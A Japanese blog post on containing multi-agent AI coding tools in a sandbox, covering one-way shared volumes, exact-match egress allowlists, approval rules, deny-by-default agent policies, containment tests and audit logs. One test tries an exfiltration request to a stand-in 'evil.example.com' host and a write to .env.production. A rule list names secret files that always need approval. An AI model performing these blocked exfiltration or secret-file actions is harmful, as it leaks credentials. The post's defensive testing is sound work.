隔離できているつもりで、被害範囲だけが広がっている
Antigravity のサンドボックスを有効にした直後、私は安心してしまいました。「これでエージェントが何をやらかしても、影響はサンドボックスの中に閉じる」と。その油断が一番危ないのだと、あとで思い知ることになります。
個人開発で複数のブログを並列のエージェントで回しているのですが、あるとき記事生成のエージェントに「共有ディレクトリ経由で隣のエージェントの成果物を受け渡す」構成を組みました。サンドボックスは有効。ファイルシステムは分離されている。そのつもりでした。ところが、その共有ディレクトリに置いた一時ファイルを別のエージェントが上書きし、まだ push 前のドラフトが消えました。サンドボックスは正しく動いていました。私が、隔離されているはずの場所に「分離の抜け道」を自分で開けていたのです。
サンドボックスは「隔離した気持ち」を与えてくれます。けれど隔離は、有効化した瞬間に完成するものではありません。守られている範囲と、自分で穴を開けてしまう範囲を仕分けて、被害範囲(blast radius)を設計で小さく保つ。ここではその実践を、実際に踏んだ漏れどころと、それを塞ぐコードとともに残しておきます。
サンドボックスが守る範囲と、守らない範囲を仕分ける
最初にやるべきは、サンドボックスへの過剰な期待を捨てることです。Antigravity のサンドボックス(2026年6月時点の v2.1.x 系)が標準で守ってくれるのは、おおむね次の範囲です。
守ってくれる 守ってくれない(自分で設計する)
実プロジェクトファイルへの直接書き込み(コピー上で作業) 共有ボリュームに置いたデータの相互上書き
許可していないドメインへの外部通信 許可ドメインの「広さ」— 1つ許すと配下すべてが通る
サンドボックス外へのプロセス漏れ 承認ダイアログで人間が「全部許可」を押す運用
リソース上限(プロセス数・メモリ・実行時間) エージェント間で共有される認証情報の流用
左の列はランタイムが面倒を見てくれます。問題は右の列で、ここはすべて運用とポリシー設計の領域 です。私が消えたドラフトで学んだのは、漏れは右の列でしか起きないということでした。順番に塞いでいきます。
漏れどころ1: 共有ボリュームが「分離の抜け道」になる
マルチエージェントでは、コード生成エージェントの出力をテストエージェントが読む、といったデータの受け渡しが必ず発生します。Antigravity では共有ボリュームでこれを実現しますが、ここが最大の落とし穴です。共有した瞬間、その領域だけは分離が効かなくなります。
抜け道を最小にする原則は2つです。共有は「受け渡し専用の一方向」に倒す こと、そして書き手と読み手を別々に宣言する ことです。両方に readwrite を渡すと、私のように相互上書きで成果物が消えます。
// .antigravity/settings.json — 共有は一方向に固定する
{
"agent.sandbox.sharedVolumes" : [
{
"name" : "codegen-output" ,
"path" : ".antigravity/exchange/codegen/" ,
"permissions" : {
"code-gen-agent" : "readwrite" ,
"test-agent" : "readonly"
}
},
{
"name" : "test-report" ,
"path" : ".antigravity/exchange/report/" ,
"permissions" : {
"test-agent" : "readwrite" ,
"deploy-agent" : "readonly"
}
}
]
}
ポイントは、1つの共有ボリュームに複数の書き手を置かないことです。受け渡しの向きごとにボリュームを分け、下流のエージェントは readonly に固定します。コンテナで言えば、共有 Volume を双方向の作業領域にせず、生産者から消費者への単方向パイプとして扱う設計です。これだけで、隣のエージェントに自分の作業を壊される事故は構造的に起きなくなります。
漏れどころ2: 許可ドメインが広すぎて egress が筒抜けになる
ネットワークの許可リストは、書いた瞬間は安全に見えて、後から効いてくる漏れどころです。api.example.com を1つ許可したつもりが、ワイルドカードやサブドメインの扱いを誤ると配下すべてが通り、エージェントが意図しない先へデータを送れてしまいます。
私が実務で採っているのは、ホスト名を完全一致で許可し、それ以外はすべてプロキシで止めて記録する やり方です。許可するかどうかの判断より、「許可していない通信が試みられた事実を必ず残す」ことのほうが運用では効きます。
// egress-guard.ts — 完全一致の許可リスト + 試行の全記録
interface EgressAttempt {
at : string ;
agentId : string ;
host : string ;
allowed : boolean ;
}
class EgressGuard {
private readonly allow : Set < string >;
private readonly attempts : EgressAttempt [] = [];
constructor ( allowedHosts : string []) {
// サブドメインを含めず、完全一致のみを許可する
this .allow = new Set (allowedHosts. map (( h ) => h. toLowerCase ()));
}
check ( agentId : string , url : string ) : boolean {
const host = new URL (url).hostname. toLowerCase ();
const allowed = this .allow. has (host);
this .attempts. push ({
at: new Date (). toISOString (),
agentId,
host,
allowed,
});
if ( ! allowed) {
console. warn ( `[egress] blocked ${ agentId } -> ${ host }` );
}
return allowed;
}
// ポリシー見直しの一次資料になる: 誰が、どこへ、通そうとしたか
blockedHosts () : Record < string , number > {
return this .attempts
. filter (( a ) => ! a.allowed)
. reduce < Record < string , number >>(( acc , a ) => {
acc[a.host] = (acc[a.host] ?? 0 ) + 1 ;
return acc;
}, {});
}
}
完全一致にこだわるのは、ワイルドカードを一度許すと「何を許したのか」が時間とともに分からなくなるからです。CDN や API ゲートウェイのように本当に複数ホストが必要な場合だけ、明示的に列挙して足します。そして blockedHosts() の集計を週に一度眺めると、エージェントのプロンプトが余計な通信を誘発していないかが見えてきます。ブロック数が多いホストは、たいていプロンプト側の改善ポイントです。
漏れどころ3: 承認疲れで人間が「全部許可」を押す
技術的にどれだけ分離しても、最後に隔離を崩すのは人間の指です。サンドボックス外への書き込みやドメイン追加のたびに承認ダイアログが出ると、最初の数回は丁寧に読みます。けれど10分に1回出続けると、人は内容を読まずに「許可」を押すようになります。これは設定の問題ではなく、ワークフローの問題です。
私の対処はシンプルで、承認の回数そのものを減らす ことに振り切っています。具体的には、(1) 頻出する正当な操作はポリシーに事前許可として焼き込み、ダイアログを出さない。(2) 一方で、.env や鍵ファイル・.git への操作は事前許可を絶対に作らず、毎回止める。承認を「めったに出ないが、出たら必ず重大」な状態に保つのが狙いです。
// .antigravity/settings.json — 承認の頻度設計
{
"agent.sandbox.autoApprove" : [
{ "action" : "write" , "path" : "src/**" },
{ "action" : "write" , "path" : "tests/**" },
{ "action" : "network" , "host" : "registry.npmjs.org" }
],
"agent.sandbox.alwaysPrompt" : [
{ "action" : "write" , "path" : ".env*" },
{ "action" : "write" , "path" : "**/*.pem" },
{ "action" : "write" , "path" : ".git/**" },
{ "action" : "network" , "host" : "*" }
]
}
alwaysPrompt を autoApprove より優先評価させるのが肝です。src/** を自動許可していても、src/secrets.pem への書き込みは必ず止まる。承認ダイアログが「珍しいもの」になって初めて、人間はそれを真面目に読みます。
被害範囲を最小化する — エージェントごとの権限を deny-by-default で切る
漏れどころを塞いだら、次は被害範囲そのものを小さくします。考え方は最小権限の原則そのままですが、AI エージェントに対しては「とりあえず全部許可して、困ったら絞る」になりがちです。逆にします。既定はすべて拒否で、必要なものだけを足す(deny-by-default)。
// agent-policy.ts — 既定拒否で、必要分だけ開ける
interface AgentPolicy {
agentId : string ;
read : string []; // glob。ここにないものは読めない
write : string []; // glob。ここにないものは書けない
egress : string []; // 完全一致ホスト。空なら通信なし
limits : {
maxProcesses : number ;
maxMemoryMB : number ;
timeoutSeconds : number ;
maxFileSizeKB : number ; // 1ファイルの上限。暴走生成でディスクを溢れさせない
};
}
const codeGen : AgentPolicy = {
agentId: "code-gen-agent" ,
read: [ "src/**" , "lib/**" , "types/**" , "package.json" , "tsconfig.json" ],
write: [ "src/**" , "lib/**" , ".antigravity/exchange/codegen/**" ],
egress: [ "registry.npmjs.org" ],
limits: { maxProcesses: 5 , maxMemoryMB: 1024 , timeoutSeconds: 180 , maxFileSizeKB: 500 },
};
const deploy : AgentPolicy = {
agentId: "deploy-agent" ,
read: [ "dist/**" , ".antigravity/exchange/report/**" ],
write: [ ".antigravity/exchange/deploy-log/**" ], // 本番資産には触らせない
egress: [ "api.cloudflare.com" ],
limits: { maxProcesses: 2 , maxMemoryMB: 512 , timeoutSeconds: 120 , maxFileSizeKB: 100 },
};
maxFileSizeKB を入れているのは、エージェントが巨大なログやダンプを吐いてディスクを埋める事故を何度か見たからです。1ファイル上限を切っておくと、暴走しても被害がディスク全体に広がりません。デプロイエージェントの write を交換ディレクトリの中だけに閉じているのも同じ発想で、たとえ乗っ取られても本番資産に手が届かない状態を物理的に作っておきます。被害範囲とは、結局「最悪のとき、どこまで壊せるか」の話です。
隔離が効いていることを「テストで証明する」
ここが、設定して終わりにしないための最重要パートです。ポリシーを書いても、それが本当に効いているかは別問題です。私はエージェントを起動する前に、わざと違反操作を試みて、ちゃんとブロックされることをアサートする 封じ込めテストを必ず通します。緑のテストは「隔離が今日も効いている」証拠になります。
// containment.test.ts — 隔離の境界をわざと踏んで、止まることを確認する
import { describe, it, expect } from "vitest" ;
import { runInSandbox } from "./sandbox-runner" ;
import { codeGen } from "./agent-policy" ;
describe ( "code-gen-agent の封じ込め" , () => {
it ( "スコープ外への書き込みは拒否される" , async () => {
const r = await runInSandbox (codeGen, {
action: "write" ,
path: ".env.production" ,
data: "LEAKED=1" ,
});
expect (r.allowed). toBe ( false );
expect (r.reason). toMatch ( /not in write scope/ );
});
it ( "許可していないホストへの通信は拒否される" , async () => {
const r = await runInSandbox (codeGen, {
action: "network" ,
url: "https://evil.example.com/exfil" ,
});
expect (r.allowed). toBe ( false );
});
it ( "許可スコープ内の書き込みは通る(過剰ブロックでないこと)" , async () => {
const r = await runInSandbox (codeGen, {
action: "write" ,
path: "src/feature.ts" ,
data: "export const ok = true;" ,
});
expect (r.allowed). toBe ( true );
});
});
最後のケース(正当な操作が通ること)を必ず入れます。封じ込めを厳しくしすぎて正当な作業まで止まると、現場は結局サンドボックスを無効化してしまう。「危険は止まる・正当は通る」の両方を緑にして初めて、隔離は運用に耐えます。このテストを CI に入れておけば、ポリシーをうっかり緩めた変更が混入したときに気づけます。
監査ログは「誰が何を試みたか」まで残す
事故が起きたあと、原因を追えるかどうかは監査ログの粒度で決まります。残すべきは「成功した操作」だけではありません。ブロックされた試行こそ、ポリシー見直しの一次資料 になります。
// audit.ts — 試行・結果・理由を構造化して残す
interface AuditEntry {
at : string ;
agentId : string ;
action : "read" | "write" | "network" | "process" ;
target : string ;
outcome : "allowed" | "blocked" ;
reason ?: string ;
}
class AuditLog {
private entries : AuditEntry [] = [];
record ( e : Omit < AuditEntry , "at" >) : void {
this .entries. push ({ at: new Date (). toISOString (), ... e });
}
// 事故調査の起点: ブロックされた書き込み・通信を時系列で
blockedTimeline ( agentId ?: string ) : AuditEntry [] {
return this .entries
. filter (( e ) => e.outcome === "blocked" )
. filter (( e ) => ! agentId || e.agentId === agentId)
. sort (( a , b ) => a.at. localeCompare (b.at));
}
}
私はこの blockedTimeline() を運用の体温計のように使っています。あるエージェントのブロック数が急に増えたら、それはプロンプトが壊れたか、タスクの粒度が大きすぎてエージェントが手当たり次第に触り始めたサインです。隔離は、漏れを止めるためだけでなく、エージェントの挙動を観測する窓にもなります。
次の一歩
もし今、サンドボックスを「有効化しただけ」で運用しているなら、今日のうちに次の3つだけ手をつけてみてください。私自身、この順番で進めて事故が止まりました。
共有ボリュームを向きごとに分け、下流のエージェントを readonly に固定する
.env と鍵ファイルを alwaysPrompt に入れ、事前許可を絶対に作らない
「.env への書き込みが拒否される」ことを assert する封じ込めテストを1本だけ書く
特に3番目が効きます。それが緑になった瞬間、隔離は「気持ち」から「検証された事実」に変わります。
被害範囲を小さく保つのは、エージェントを信用しないということではありません。最悪の日でも、壊れる範囲を自分が選べる状態にしておく、という静かな備えです。同じようにマルチエージェントを本番に近づけている方の役に立てば嬉しいです。